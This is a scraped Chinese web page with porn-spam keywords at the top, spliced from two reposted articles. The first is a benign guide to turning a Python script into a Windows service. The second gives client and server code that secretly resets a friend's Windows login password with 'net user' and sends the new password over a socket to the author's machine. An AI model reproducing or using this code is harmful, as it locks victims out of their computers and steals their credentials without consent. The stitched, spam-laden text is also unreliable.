欧美vvv,亚洲第一成人在线,亚洲成人欧美日韩在线观看,日本猛少妇猛色XXXXX猛叫

新聞資訊

    只想說凡事不能想當然,實踐出真理。

    最近自己用python做了一個定時任務,代碼調試也都通過了,之后是打算做成windows服務,不要問我為啥不用Linux,因為我是windows系統,不想在虛擬機里折騰。預期中這應該不需要花費太長時間,結果浪費我很長時間。

    主要問題是:服務可以安裝成功,但是啟動服務就提示1053錯誤。

    網上的代碼基本都是千篇一律,看的都快懷疑人生,能不能不要抄來抄去。最后翻墻去谷歌搜索,發現了解決方案,網站在此(https://gist.github.com/guillaumevincent/d8d94a0a44a7ec13def7f96bfb713d3f)

    先說下環境:

    系統: win10

    工具:python 3.7.3

    打包工具:pyinstaller

    測試代碼(WindowsService.py)如下:

    import servicemanager

    import socket

    import sys

    import win32event

    import win32service

    import win32serviceutil

    class TestService(win32serviceutil.ServiceFramework):

    _svc_name_="TestService"_svc_display_name_="Test Service"def __init__(self, args):win32serviceutil.ServiceFramework.__init__(self, args)self.hWaitStop=win32event.CreateEvent(None, 0, 0, None)socket.setdefaulttimeout(60)def SvcStop(self):self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)win32event.SetEvent(self.hWaitStop)def SvcDoRun(self):# 具體的執行代碼,可以將自己的代碼放在此處rc=Nonewhile rc !=win32event.WAIT_OBJECT_0:with open('C:\TestService.log', 'a') as f:f.write('test service running...\n')rc=win32event.WaitForSingleObject(self.hWaitStop, 5000)

    if __name__=='__main__':

    if len(sys.argv)==1:servicemanager.Initialize()servicemanager.PrepareToHostSingle(TestService)servicemanager.StartServiceCtrlDispatcher()

    else:

    win32serviceutil.HandleCommandLine(TestService)

    pyinstaller安裝就不說了,網上有很多教程,大家可以自行搜索。

    打開運行命令(WIN+R),進入代碼所在的文件目錄

    1、執行打包命令:

    pyinstaller -F --hidden-import=win32timezone WindowsService.py
    

    2、安裝windows服務

    WindowsService.exe install
    

    3、啟動服務

    WindowsService.exe start
    

    執行完上述服務,打開服務services.msc

    就可以在服務列表里看到服務了

    最后如果想刪除服務,可以執行如下命令

    4、停止服務

    WindowsService.exe stop
    

    5、移除服務

    WindowsService.exe remove
    

    如果還是有問題可以嘗試在系統環境變量Path里添加如下內容

    今天教大家用python腳本來控制小伙伴們windows電腦的開機密碼。沒錯就是神不知鬼不覺,用random隨機生成的密碼,只有你自己知道哦~

    代碼呢分兩部分,一部分是client端跟server端兩個。你只需要想辦法讓小伙伴運行你的client端腳本就OK啦。不過在此之前你一定要在你的電腦上運行server端哦~這樣子的話,client端會在你的小伙伴電腦上隨機生成一個密碼然后通過socket發給server端也就是發給你哦~

    下面放代碼,順便加點注釋。

    client端代碼:

    # client.py://文件名import socket //導入用到的模塊import getpassimport subprocessimport randomclient=socket.socket(socket.AF_INET, socket.SOCK_STREAM) //創建socket實例client.connect(('10.0.0.1', 44444)) //連接server端IP地址/端口按你自己實際情況來user=getpass.getuser //獲取計算機用戶名psd='' //給一個psd變量(密碼)為空for j in range(1, 9): //生成1-9的隨機數m=str(random.randrange(0, 10))psd=psd + msubprocess.Popen(['net', 'User', user, psd]) //在本地執行(類似于cmd命令)client.send(psd.encode('utf-8')) //將密碼發送給server端back_msg=client.recv(1024)client.close //關閉socketprint psd //避免出現差錯忘記密碼 先在本地打印

    server端代碼:

    # server.py //文件名import socket //導入socketserver=socket.socket(socket.AF_INET, socket.SOCK_STREAM) //創建socketserver.bind(('10.0.0.1', 44444)) //綁定IP/端口server.listen(5) //監聽print('starting....')conn, addr=server.accept //連接print(conn)print('client addr', addr)print('ready to recv the passwd...')client_msg=conn.recv(1024)print('client passwd changed: %s' % client_msg)conn.send(client_msg.upper)conn.closeserver.close

    OK代碼寫完后我們開始運行一下程序(推薦在虛擬機下運行,萬一出個差錯搞不好真忘記密碼!切記切記)~

    首先先在我的Linux上運行server端,來等待接收來自client端傳過來的密碼。

    運行server.py腳本

    然后windows運行client端,它會顯示生成的密碼

    (前提是在cmd命令行下運行否則你雙擊一下會消失)

    cmd下運行

    現在再注銷或者是重啟輸入原始密碼就會發現密碼錯誤,怎么密碼呢也已經發到我們的server端了。

    server收到密碼

    如果你現在想改回密碼的話,千萬不要關機 打開cmd輸入“net user 你的用戶名 你要改變的密碼” 然后回車就ok了。

    好啦,本次文章就寫到這啦。大家對什么內容感興趣歡迎給鄙人留言,鄙人會盡量照顧到大家的口味的~

    *聲明:本文于網絡整理,版權歸原作者所有,如來源信息有誤或侵犯權益,請聯系我們刪除或授權事宜。

網站首頁   |    關于我們   |    公司新聞   |    產品方案   |    用戶案例   |    售后服務   |    合作伙伴   |    人才招聘   |   

友情鏈接: 餐飲加盟

地址:北京市海淀區    電話:010-     郵箱:@126.com

備案號:冀ICP備2024067069號-3 北京科技有限公司版權所有